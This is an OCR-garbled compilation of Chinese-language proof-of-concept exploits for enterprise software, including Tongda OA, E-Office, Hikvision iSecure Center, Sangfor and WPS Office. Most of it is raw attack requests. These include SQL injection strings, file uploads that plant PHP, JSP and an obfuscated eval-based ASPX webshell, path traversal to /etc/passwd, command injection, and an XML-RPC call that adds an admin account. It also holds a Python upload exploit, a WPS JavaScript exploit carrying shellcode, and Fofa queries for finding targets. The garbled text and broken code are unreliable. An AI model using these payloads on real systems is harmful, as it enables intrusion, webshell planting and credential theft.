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GET /general/system/seal_manage/iweboffice/delete_seal.php?

DELETE_STR=1)%20and%20 (substr (DATABASE(),1,1))=char(84)%20and%20 (select%20count (*)%20from
%20information_schema.columns%20A, information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:109.0) Gecko/20160101
Firefox/116.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

1BIX0A sql;¥ \iFi CVE-2023-4166 POC

O 00 3 O

GET /general/system/seal_manage/dianju/delete_log.php?

DELETE_STR=1)%20and%20 (substr (DATABASE(),1,1))=char(84)%20and%20 (select%20count (*)%20from
%20information_schema.columns%20A, information_schema.columns%20B)%20and(1)=(1 HTTP/1.1
Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé64; rv:109.0) Gecko/20160101
Firefox/116.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

2 E-Office9 N ¥ L &Rl CVE-2023-2648 POC

O 00 N O 01 N VNP

10

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: 192.168.233.10:8082

User-Agent: test

Connection: close

Content-Length: 493

Accept-Encoding: gzip

Content-Type: multipart/form-data

—————— WebKitFormBoundarydRVCGWg4Cx3Sqétt
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Content-Disposition: form-data; name="Filedata"; filename="666.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

—————— WebKitFormBoundarydRVCGWq4Cx3Sq6tt

F—poc
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Content-Type: multipart/form-data; boundary=1

--1
Content-Disposition: form-data; name="Filedata"; filename="a.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

__1__

==

Content-Disposition: form-data; name="file"; filename=""

Content-Type: application/octet-stream

--1--

S99 Ef£3 0O /Emobile/App/Ajax/ajax.php?action=mobile_upload_save

72 E-Office9 X ¥ L &K@ CVE-2023-2523 POC

O 00O N O O N VNP

NN PR PR PR R EP PR R P
P ® 0 © N0 Ul N W N P &

POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1
Host:192.168.233.10:8082

Cache-Control:max-age=0

Upgrade-Insecure-Requests:1

Origin:null

Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Accept-Encoding:gzip, deflate

Accept-Language:en-US,en;g=0.9,zh-CN;g=0.8,zh;q=0.7

Connection:close

—————— WebKitFormBoundarydRVCGWq4Cx3Sqétt
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
Content-Type:image/jpeg

<?phpphpinfo();?>

—————— WebKitFormBoundarydRVCGWq4Cx3Sqgétt

POST/Emobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1
Host:192.168.233.10:8082
Cache-Control:max-age=0
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Upgrade-Insecure-Requests:1

Origin:null

Content-Type:multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Accept-Encoding:gzip, deflate

Accept-Language:en-US,en;q=0.9,zh-CN;g=0.8,zh;g=0.7

Connection:close

—————— WebKitFormBoundarydRVCGWq4Cx3Sqétt
Content-Disposition:form-data; name="upload_quwan"; filename="1.php."
Content-Type:image/jpeg

<?phpphpinfo();?>

—————— WebKitFormBoundarydRVCGWq4Cx3Sqé6tt

—————— WebKitFormBoundarydRVCGWq4Cx3Sqétt
Content-Disposition: form-data; name="Filedata"; filename="666.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

—————— WebKitFormBoundarydRVCGWq4Cx3Sqg6tt

AMERMART ALK LRITRE POC

B /rep/login

BFZEREONcIsModeZ ¥ Tz, @ BHE\n{cmd\n# TR <LHIT

00

1

5 POST /rep/login

3 Host:10.10.10.1:85

4

5 clsMode=cls_mode_login%0A1ls%0A&index=index&log_type=report&loginType=account&page=1login&r

nd=0&userID=admin&userPsw=123
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ihia] /Webservice/IM/Config/ConfigService.asmx/GetlDictionary EEH, @idS#ikey HITEAN

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1

Host: xxx.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.0.0 Safari/537.36

Accept: text/html,application/xhtml

xml,application/xml;q=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7

Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspx
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie:

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 88

dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':"',F_PWD_MD5) from T_ORG_USER --
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POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1

Host: 10.10.10.1:8888

X-Requested-With: Ext.basex

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: zh-Hans-CN,zh-Hans;q=0.5

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/107.0.0.0 Safari/537.36

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4P1AZBixjELjJ
Accept: */%

Origin: http://10.10.10.1

Referer: http://10.10.10.1:8888/Workflow/Workflow.aspx?configID=774d99d7-02bf-42ec-9e27-
caeaab99f512&menuitemid=120743&frame=1&modulecode=GTP.Workflow.TaskCenterModule&tabID=40
Cookie:

Connection: close

Content-Length: 421

—————— WebKitFormBoundaryFfJZ4P1AZBixjEL]
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text

<%@ Page Language="Jscript" Debug=true%>

<%
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var FRWT='XeKBdPAOslypgVhLxcIUNFmStvYbnJGuwEargkifjTHZQzCoRMWD"';

var GFMA=Request.Form("qgmgl");

var ONOQ=FRWT(19) + FRWT(20) + FRWT(8) + FRWT(6) + FRWT(21) + FRWT(1);
eval(GFMA, ONOQ);

%>

—————— WebKitFormBoundaryFfJZ4P1AZBixjEL]j--

HiKVISION &L EEB T4 files FEX L EFHE POC
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POST /center/api/files;.html HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

—————— WebKitFormBoundary9PggsiM755PLab4a

Content-Disposition: form-data; name="file";

filename="../../../.. /.. /.. /.. /.. [..[../../opt/hikvision/web/components/tomcat851linuxé4.
1/webapps/eportal/new.jsp"

Content-Type: application/zip

<%jspAIS%>
—————— WebKitFormBoundary9PggsiM755PLa54a--

HiKVISION &L EE T4 report EEX - E{ERE POC
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11

POST /svm/api/external/report HTTP/1.1
Host: 10.10.10.10
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a

—————— WebKitFormBoundary9PggsiM755PLab4a

Content-Disposition: form-data; name="file";
filename="../../../../..[..[..[..[..[../../opt/hikvision/web/components/tomcat85linuxé4.
1/webapps/eportal/new.jsp"

Content-Type: application/zip

<%jspAIS%>

—————— WebKitFormBoundary9PggsiM755PLa54a-~

5JLE&1&: /portal/ui/login/..;/..;/new.jsp

1

fofaEigiEa
icon_hash="-808437027" app="HIKVISION-iSecure-Center”


af://n22
af://n24

O 00O N O O N W»

10
11
12
13
14
ilis)
16
17
18
19
20
21
22
23
24
25
26
27
28

29

30
31
32
53
34
55
36
37
38

39
40
41
42
43
44
45
46
47
48
49
50
51

EXP/POC: payload.py fiZA& £127.0.0.1:8080 {LIE, /5{Eburpsuitilia,

#!usr/bin/env python

# - coding:utf-8 *-x*
import sys

import requests

import string

import random

import urllib3
urllib3.disable_warnings()

proxies = {
'http': 'http://127.0.0.1:8080',

"https': 'http://127.0.0.1:8080', #127.0.0.1:8080 LI, F5{@Eburpsuitilie

def run(arg):
try:

flag="'"'.join(random.choices(string.ascii_uppercase + string.digits, k = 9))

filename="'".join(random.choices(string.ascii_uppercase + string.digits, k =

vuln_url=arg+"center/api/files;.js"

headers={'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',

"Accept': 'x/%',

'Content-Type': 'application/x-www-form-urlencoded'}
file = {'fite': (f'../../../../../bin/tomcat/apache-
tomcat/webapps/clusterMgr/{filename}.txt', flag, 'application/octet-stream')}
r = requests.post(vuln_url, files=file, timeout=15, verify=False,

proxies=proxies)

if r.status_code==200 and "webapps/clusterMgr" in r.text:

payload=f"clusterMgr/{filename}.txt;.js"
url=arg+payload

r2 = requests.get(url, timeout=15, verify=False, proxies=proxies)
if r2.status_code==200 and flag in r2.text:

print('\033[1;31;46m")

print(arg+f" . FE8ERMisecure center
\nshelliett: {url}")

print('\033[6m")

else:
print(arg+" : REERE")
except:
print(arg+" : NMFERE")

if name == '__main__"':
url=sys.argv[1]
run(url)

4=
A

L EEFEFEEENE LERR
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00
1 POST /?9=0bj_app_upfile HTTP/1.1
) Host: X.Xx.X.Xx
3 Accept: * /%
4 Accept-Encoding: gzip, deflate
5 Content-Length: 574
6 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQc
7 User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)
8
9 ~TT==- WebKitFormBoundaryJpMyThWnAxbcBBQc
10 Content-Disposition: form-data; name="MAX_FILE_SIZE"
11
1o 10000000
13 | ~~---- WebKitFormBoundaryJpMyThWnAxbcBBQc
14 Content-Disposition: form-data; name="upfile"; filename="vulntest.php"
15 Content-Type: text/plain
16
17 <?php php5?>
18
19 | ~T=--- WebKitFormBoundaryJpMyThiWnAxbcBBQc
20 Content-Disposition: form-data; name="submit_post"
21
29 obj_app_upfile
93 | T WebKitFormBoundaryJpMyThiinAxbcBBQc
2 Content-Disposition: form-data; name="__hash__"
25
94 0b9déblab7479ab69d9f71b05e0e9445
97 |- WebKitFormBoundaryJpMyThWnAxbcBBQc--

5JL8&1%: attachements/xxx.php

P SecSSL 3600 £ENMXZ S EE BB KER POC

00

1

2 POST /changepass.php?type=2

3

4 Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param=

{"this_name":"test", "subAuthId":"1"}
5 old_pass=&password=Test123!@&repassword=Test123!(@
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;X18SRM tomcat.jsp EF 423K POC
o000

1 /tomcat.jsp?dataName=role_id&dataValue=1
/tomcat.jsp?dataName=user_id&dataValue=1

SRIGiIFRIG & /main.screen

RESZXFEREEERYS login SQLENIRR POC
oo0o

1 POST /api/user/login

3 captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*xfrom(select+
sleep(3))a)=

£1LWPS-RCE

REENARGEROBWENXHEGE, B THERERMAE, ATABSnS, KRNREETINR

C @ securitywps.cn/notices/35 Q¥ w

*Heimdalle' TV i VRS

'!IJ.IHH e A
KINGSOFT CGFFICE Tl

WA - WPS Office fR4E{CLI BiW
- AR A ) ' 2023-07-28
0 KA ) 2023-07-28

WS WPSSRC-2023-0701

WPS Office $IFRE i ok I 2040 PFAR 00 47 PR 20 80 8 0 R0 — P 2 TR 464, o7 LAscaldfp
DYIPRW AR . &R, WS 2, i Windows. mac0S. Linux. Android. i0

S BPRFTA.
H AR . S R R
Wi
F RN R AR A
KP4 | e | A

WPS Dffice T AR Windows T 12.1.0. 15120 (%)
| WPs office HLHgMA (i, |

) ) Vindows i+ 11. 8.2, 12055 (&)
e Al Af SR D

SR

Tade RN AW TR NS A, RWEITIHE TR IR RIT B RS, A 2R
JLPAR % 38 TR EEACTINGE A ST, WRERESIWH A S EA R L& EI‘ Ji ot .
o A 2 ’|L" [J)’] 2= ’L

Wit



af://n34
af://n37
af://n41

™ 1.html Microsoft Edge HTML ...

ﬁpmdmx Microsoft Word 37

n= wpsiEEtZEkEFiF.docx Microsoft Word =&

MR E kI aE RO

T [\ LiERe
| M EFATE T RIw
1. WFELEAEF WPS Office AN AR, #EATLUERE WPS B M https://www. wps. cn JREURHI IR
KT H G
2. ANSZRCma A 2A BRI A
A FR Fa KA H 1 WA
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wpsEISEER : WPS Office 2023 MAMR < 11.1.0.15120

WPS Office 2019 {EJLAR < 11.8.2.12085

POC

F1.htmIH 7R T B aihttp serverH IEIT80EK O, EkhostsXfF (MiIXEIEHY)

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

AR & Bk 15 2 #15% E clientweb.docer.wps.cn.{xxxxx}wps.cn cloudwps.cnflwps.cni& B E@x &

RBRERKT. (FEREpdfilwechat)

<script>

if(typeof alert === "undefined"){
alert = console.log;

I

let f64 = new Floaté4Array(1);

let u32 = new Uint32Array(fé4.buffer);
function d2u(v) {

f64[0] = v;

return u32;




b

function u2d(lo, hi)
u32[0] = 1lo;

u32[1] = hi;

return f64[0];

I

{

function gc(){ // major
for (let i = 0; i < 0x10; i++) {

new Array(0x100000);
I

I

function foo(bug) {
function C(z) {

Error.prepareStackTrace = function(t, B) {
return B[z].getThis();

}s

let p = Error().stack;

Error.prepareStackTrace = null;

return p;

I

function JO) {}
var optim = false;

var opt = new Function(

'all Ibl, |C|’

"if(typeof a===\"'number\'){if(a>2){for(var

i=0;i<100;i++);return;}b.d(a,b,1);return}' +

'g++; ' .repeat(70));
var e = null;

J.prototype.d = new Function(

'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[al;"');

J.prototype.a = new Function('a', 'a.b(0,a)');

J.prototype.b = new Function(

lall Ibl,
'b.cQ);if(a){" +
'g++; ' .repeat(70) +

")

J.prototype.c = function() {

if (optim) {

var z = C(3);

var p = C(3);
z[0] = 0;

e = {M: z, C: p};
}

I

var a = new J();
// jit optim

4, a, 1);

if (bug) {

for (var V = 0; 1E4 > V; V++) {
opt(@ ==V % 4 ? 1 :

I

}

optim = true;
opt(1, a, 1);

return e;

I

el = foo(false);
e2 = foo(true);

delete e2.M[0];



68
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
)
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122

let hole = e2.C[0];

let map = new Map();

map.set('asd', 8);

map.set(hole, 0x8);

map.delete(hole);

map.delete(hole);

map.delete("asd");

map.set(0x20, "aaaa");

let arr3 = new Array(0);

let arr4 = new Array(0);

let arr5 = new Array(1);

let oob_array = [];

oob_array.push(1.1);

map.set("1", -1);

let obj_array = {

m: 1337, target: gc

I

let ab = new ArrayBuffer(1337);

let object_idx = undefined;

let object_idx_flag = undefined;

let max_size = 0x1000;

for (let i = 0; i < max_size; i++) {

if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;

object_idx_flag = 1;

break;

}if (d2u(oob_array[i])[1] === 0xa72) A{
object_idx = i + 1;

object_idx_flag = 0;

break;

}

}

function addrof(obj_para) {

obj_array.target = obj_para;

let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;

return addr;

I

function fakeobj(addr) {

let r8 = d2u(oob_array[object_idx]);

if (object_idx_flag === 0) {
oob_array[object_idx] = uv2d(addr, r8[1]);
Yelse {
oob_array[object_idx]
I

return obj_array.target;
b

let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {

u2d(r8[e], addr);

if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;

bk_idx_flag = 1;

break;

}if (d2u(oob_array[i])[1] === 1337) {

bk_idx = i + 1;
bk_idx_flag = 0;



12% break;

125 |}

126 |}
197 let dv = new DataView(ab);

12g function get_32(addr) {

129 let r8 = d2u(oob_array[bk_idx]);

130 if (bk_idx_flag === 0) {

131 oob_array[bk_idx] = v2d(addr, r8[1]);
132 } else {

133 oob_array[bk_idx] = u2d(r8[0], addr);
134 |}

135 let val = dv.getUint32(8, true);

134 Oob_array[bk_idx] = v2d(r8[e], r8[1]);
137 return vati;

138 | F

139 function set_32(addr, val) {

140 let r8 = d2u(oob_array[bk_idx]);

141 if (bk_idx_flag === 0) {

142 oob_array[bk_idx] v2d(addr, r8[1]);
143 } else {

144 oob_array[bk_idx]
145 |}

146 dv.setUint32(0, val, true);

147 oob_array[bk_idx] = v2d(r8[e], r8[1]);

148 |+
149 Function write8(addr, val) {

u2d(r8[0], addr);

150 let r8 = d2u(oob_array[bk_idx]);

1517 if (bk_idx_flag === 0) {

152 oob_array[bk_idx] = v2d(addr, r8[1]);
153 I else {

154 oob_array[bk_idx]

v2d(r8[0], addr);

155 |+
156 dv.setUint8(0, val);
157 |}

158 let fake_length = get_32(addrof(oob_array)+12);

159 set_32(get_32(addrof(oob_array)+8)+4,fake_length);

160 et wasm_code = new

161 Uint8Array([0,97,115,169,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,

142 128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,

163 128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0

164 ,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,111);

165 let wasm_mod = new WebAssembly.Module(wasm_code);

166 | let wasm_instance = new WebAssembly.Instance(wasm_mod);

167 let ¥ = wasm_instance.exports.main;

168 let target_addr = addrof (wasm_instance)+0x40;

169 let rux_mem = get_32(target_addr);

170 //alert("rwx_mem is"+rwx_mem.toString(16));

171 const shellcode = new Uint8Array([0xfc, Oxe8, 0x82, 0x00, 0x00, Ox00, 0x60, 0x89,

172 Oxe5, 0x31, OxcO, Oxé64, 0x8b, 0x50, 0x30,0x8b, 0x52, Ox0c, 0x8b, 0x52, 0x14,

173 Ox8b, 0x72, 0x28, 0x0f, O0xb7, Ox4a, 0x26, 0x31l, Oxff,0xac, 0x3c, 0x61, Ox7c,

174 0x02, 0x2c, 0x20, 0xcl, Oxcf, 0x0d, O0x01, Oxc7, Oxe2, Oxf2, 0x52,0x57, O0x8b,

175 0x52, 0x10, Ox8b, Ox4a, 0x3c, 0x8b, Ox4c, 0x11, 0x78, O0xe3, 0x48, 0x01,

174 0xd1,0x51, 0x8b, Bx59, 0x20, Ox01, 0xd3, Ox8b, 0x49, 0x18, Oxe3, 0x3a, Ox49,

177 Ox8b, 0x34, 0x8b,0x01, 0xd6, O0x31, Oxff, Oxac, Oxcl, Oxcf, Ox0d, O0x01, Oxc7,

178 0x38, 0xe0, 0x75, Oxf6, 0x03,0x7d, Oxf8, Ox3b, 0x7d, O0x24, 0x75, Oxe4, 0x58,

179 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, Ox4b, 0x8b, 0x58, Oxlc, 0x01,
0xd3, 0x8h, O0x04, 0x8b, Ox01, OxdO, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61,



180 0x59, 0xba, 0x51, Oxff, Oxe0, Ox5f, Ox5f, O0x5a, 0x8b, 0x12, Oxeb,0x8d, 0x5d,
182 Oxb6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, O0x50, 0x68, 0x31, 0Ox8b,

183 Ox6f,0x87, Oxff, Oxd5, Oxbb, 0xe0, 0x1ld, 0x2a, 0x0a, 0x68, 0xaé, 0x95, 0Oxbd,
184 0x9d, Oxff, 0Oxd5,0x3c, 0x06, 0x7c, O0x0a, 0x80, Oxfb, Oxed, 0x75, 0x05, Oxbb,
185 0x47, 0x13, 0x72, Ox6f, Oxéa,0x00, 0x53, Oxff, Oxd5, 0x63, 0x61, Oxé6c, 0Ox63,

186 0x001);
187 for(let i=0;i<shellcode.length;i++){
188 write8(rwx_mem+i,shellcode[i]);

189 |}

190 f0);
191 </script>

192

K B-sasTLHIT R G-EEXHFi%E0day
fofa:titte="NSFOCUS SAS[H]" X% i# ik

IFPOC:

1 /webconf/GetFile/index?path=../../../../../../.. /.. [..[..[..[../]..]../etc/passwd

BARXHFRSBEERAP S3 S

(N N
| AEER
2 app="H&-NC-Cloud" ®&Rapp="H&-NC-Cloud" && server=="Apache-Coyote/1.1"
3
4, BRIAEDERgetimRAGTUIEOhttp: : //xxxx/fs/; /console.htnl, RBpostiFEIwE
5 POSTHUREEXUREE falsedplturemte] LASHIESE
6 HTTP/1.1 200 0K
7  Server: Apache-Coyote/1.1
8 Date: Thu, 10 Aug 2023 20:38:25 GMT
9 Connection: close
10 Content-Length: 17
11

{"login":"false"}

=
N


af://n55
af://n59

HiE-OA-RCE

ZNRERE:
00
1
2 1. /seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
z 9Manager
4 2. /seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
5 gManageré&requestCompress=gzip
6 |3 /seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
7 9Manager&requestCompress=gzip&managerMethod=checkDB&argumen
8 ts=
9 |4. /seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
19 9Manager&managerMethod=checkDB&arguments=
11 5 /seeyon/ajax.do?method=ajaxAction&managerName=syncConfi
12 gManager&managerMethod=&arguments
¥ %-OA-RCE

Bt e --> B E-->FK B webshell, B1&IRE

RABE:

1 /api///sys/ui/sys_ui_extend/sysUiExtend.do

EZOAR SEHIT
o000

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1

Host: www.ynjd.cn:801

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: /

Connection: Keep-Alive

Content-Length: 42

Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///etc/passwd"}}

O 0 Ol N W NP


af://n63
af://n66
af://n70

AMER sxf-IRRER RAHREF

DN DN

O 00 g O

10
11
12
13

POST /rep/login HTTP/1.1

Host: URL

Cookie:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac Os X 10.15: ry:109.0)Gecko/20100101
Firefox/115.0

Accept:text/html,application/xhtml+xml,application/xml;g=0,9, image/avif,
image/webp,*/*;q=0.8 Accept-Language:zh-CN, zh;g=0.8, zh-TW;g=0.7, zh-HK;g=0.5,en-
US;9=0.3,en;9=0.2

Accept-Encoding: gzip deflate

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: cross-site Pragma: no-cache Cache-Control: no-cachel4 Te: trailers
Connection: close

Content-Type:application/x-www-form-urlencoded

Content-Length: 126
clsMode=cls_mode_login&index=index&log_type=report&page=1login&rnd=0.7550103466497915&use
rID=admin%0Aid -a %0A&userPsw=tmbhuisq

RIEPEELEE T SKIEEFREELNERB P EMxmirpc.sockEEAF
i) 1B

[ N N J
, POST /service/?unix:/../../../../var/run/rpc/xmlrpc.sock|http://test/wsrpc HTTP/1.1
5 Host: xxx
3 Cookie: LANG=zh; USM=0a0elf29d69f4b9185430328h44ad990832935dbf1b90h8769d297dd9f0eb848
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
, Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/100.0.4896.127 Safari/537.36
10 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp, image/apng,
*/%;0=0.8,application/signed-exchange;v=b3;q=0.9
11 Sec-Fetch-Site: none
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Accept-Encoding: gzip, deflate
16 Accept-Language: zh-CN,zh;q=0.9
17 Connection: close
18 Content-Length: 1121
19
og | <?xml version="1.0"?>

21

<methodCall>


af://n73
af://n75

22
23
24
25
26
27
28
29
30
31
32
55
34
55
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
79
76
77

<methodName>web.user_add</methodName>
<params>

<param>

<value>

<array>

<data>

<value>
<string>admin</string>
</value>

<value>
<string>5</string>
</value>

<value>
<string>XX.XX.XX.XX</string>
</value>

</data>

</array>

</value>

</param>

<param>

<value>

<struct>

<member>
<name>uname</name>
<value>
<string>deptadmin</string>
</value>

</member>

<member>
<name>name</name>
<value>
<string>deptadmin</string>
</value>

</member>

<member>
<name>pwd</name>
<value>
<string>Deptadmin@123</string>
</value>

</member>

<member>
<name>authmode</name>
<value>
<string>1</string>
</value>

</member>

<member>
<name>deptid</name>
<value>
<string></string>
</value>

</member>

<member>
<name>email</name>
<value>
<string></string>
</value>



79 </member>

gp <member>

81 <name>mobile</name>
gy <value>

83 <string></string>
g4 </value>

85 </member>

g4  <member>

g7 <name>comment</name>
gg <value>

89 <string></string>
9p </value>

91 </member>

gp  <member>

93 <name>roleid</name>
94 <value>

95 <string>101</string>
94 </value>

97  </member>

98 </struct></value>
99 </param>

100 </params>

101 </methodCall>

Exchange Serverizf2 {31 1TiKE (CVE-2023-38182) MP&LiES
b FEpoc exp

ERNEIEE

Exchange Server 2019 Cumulative Update 13

Exchange Server 2019 Cumulative Update 12

Exchange Server 2019 Cumulative Update 11

Exchange Server 2016 Cumulative Update 23

FERLEARPNR

7214 E-Cology ¥hR7s SQL:EANER POC
o000

POST /dwr/call/plaincall/CptDun/rpc/xmlrpc.stByCurrentUser.dwr HTTP/1.1

Host: ip:port

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/35.0.2117.157 Safari/537.36

Connection: close


af://n78
af://n86

Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

callCount=1

10 | Page=

11 httpSessionId=
12 scriptSessionId=

O 00 N9 O @™

13 cO-scriptName=DocDwrUtil

14 c0-methodName=GetSqlData.aspx/.ifNewsCheckOutByCurrentUser
15 €0-1d=0

16 cO-param@=string:1 AND 1=1

17 cO-paraml=string:1

1g batchId=0

19

20

21

y R

93 POST /dwr/call/plaincall/CptDwrUtil.ifNewsCheckOutByCurrentUser.dwr HTTP/1.1

24 Host: test.cn

o5 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/35.0.2117.157 Safari/537.36

26 Content-Length: 195

27 Accept-Encoding: gzip

28 Connection: close

29 Content-Type: text/plain

30

31

30 BRI

33 callCount=1
34 Page=

35 httpSessionId=

36 scriptSessionId=

37 cO-scriptName=DocDwrUtil

28 c0-methodName=ifNewsCheckOutByCurrentUser
39 €0-id=0

40 cO-param@=string:1 AND 9220=9220

41 cO-paraml=string:1

4o batchId=0

KIELBERXSSEETES searchdson SQLENE POC


af://n89

GET
/portal/services/carQuery/getFaceCapture/searchJson/%7B%7D/pageJson/%7B%22orderBy%22:%221
%20and%201=updatexml (1, concat(Bx7e, (select%20md5(388609)),0x7e),1)--%22%7D/extend/%7B%7D
HTTP/1.1

Host: 127.0.0.1:7443

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

Accept-Encoding: gzip, deflate

Connection: close

REEREXSZSERT S X LEZFRE POC

00
1 POST /publishing/publishing/material/file/video HTTP/1.1
2 Host: 127.0.0.1:7443
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/665.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15
4 Content-Length: 804
5 Content-Type: multipart/form-data; boundary=dd8f988919484abab3816881c55272a7
6 Accept-Encoding: gzip, deflate
7 Connection: close
8
9 ~—-dd8f988919484ababh3816881c55272a7
10 Content-Disposition: form-data; name="Filedata"; filename="OEaE1QE7dF5F10C2.jsp"
11
12 <%@page contentType="text/html; charset=GBK"%><%@page import="java.math.BigInteger"%>
<%@page import="java.security.MessageDigest"%><% MessageDigest md5 = null;md5 =
MessageDigest.getInstance("MD5");String s = "123456";String miyao = "";String jiamichuan
= s + miyao;md5.update(jiamichuan.getBytes());String md5String = new BigInteger(1,
md5.digest()).toString(16);out.println(md5String) ;new
java.io.File(application.getRealPath(request.getServietPath())).delete() ;%>
13 —-dd8f988919484abab3816881c55272a7
14 Content-Disposition: form-data; name="poc"
15
14 poc
17 --dd8f988919484abab3816881c55272a7
18 Content-Disposition: form-data; name="Submit"
19
og  submit

21

--dd8f988919484abah3816881c55272a7--


af://n92

RS KSOA PayBill SQL;E N[ POC
o 00

POST /servlet/PayBill?caculate&_rnd= HTTP/1.1
Host: 1.1.1.1

2

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_3) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Length: 134

5 Accept-Encoding: gzip, deflate

6 Connection: close

7

g <?xml version="1.0" encoding="UTF-8" ?><root><name>1</name><name>1'WAITFOR DELAY
'00:00:03'; -</name><name>1</name><name>102360</name></root>

BEHIT:
(N N

1 oA oA ). /.. Jusr/local/nsfocus/web/exec master..xp_cmdshell 'whoami';

£2% SASEZ M local_user.php FERAFPERIRET POC

328 , .
S EIE ' OSMS BEGET:EFRAR

1 body=""'/needUsbkey.php?username=""


af://n94
af://n98

1 GET /api/virtual/home/status?

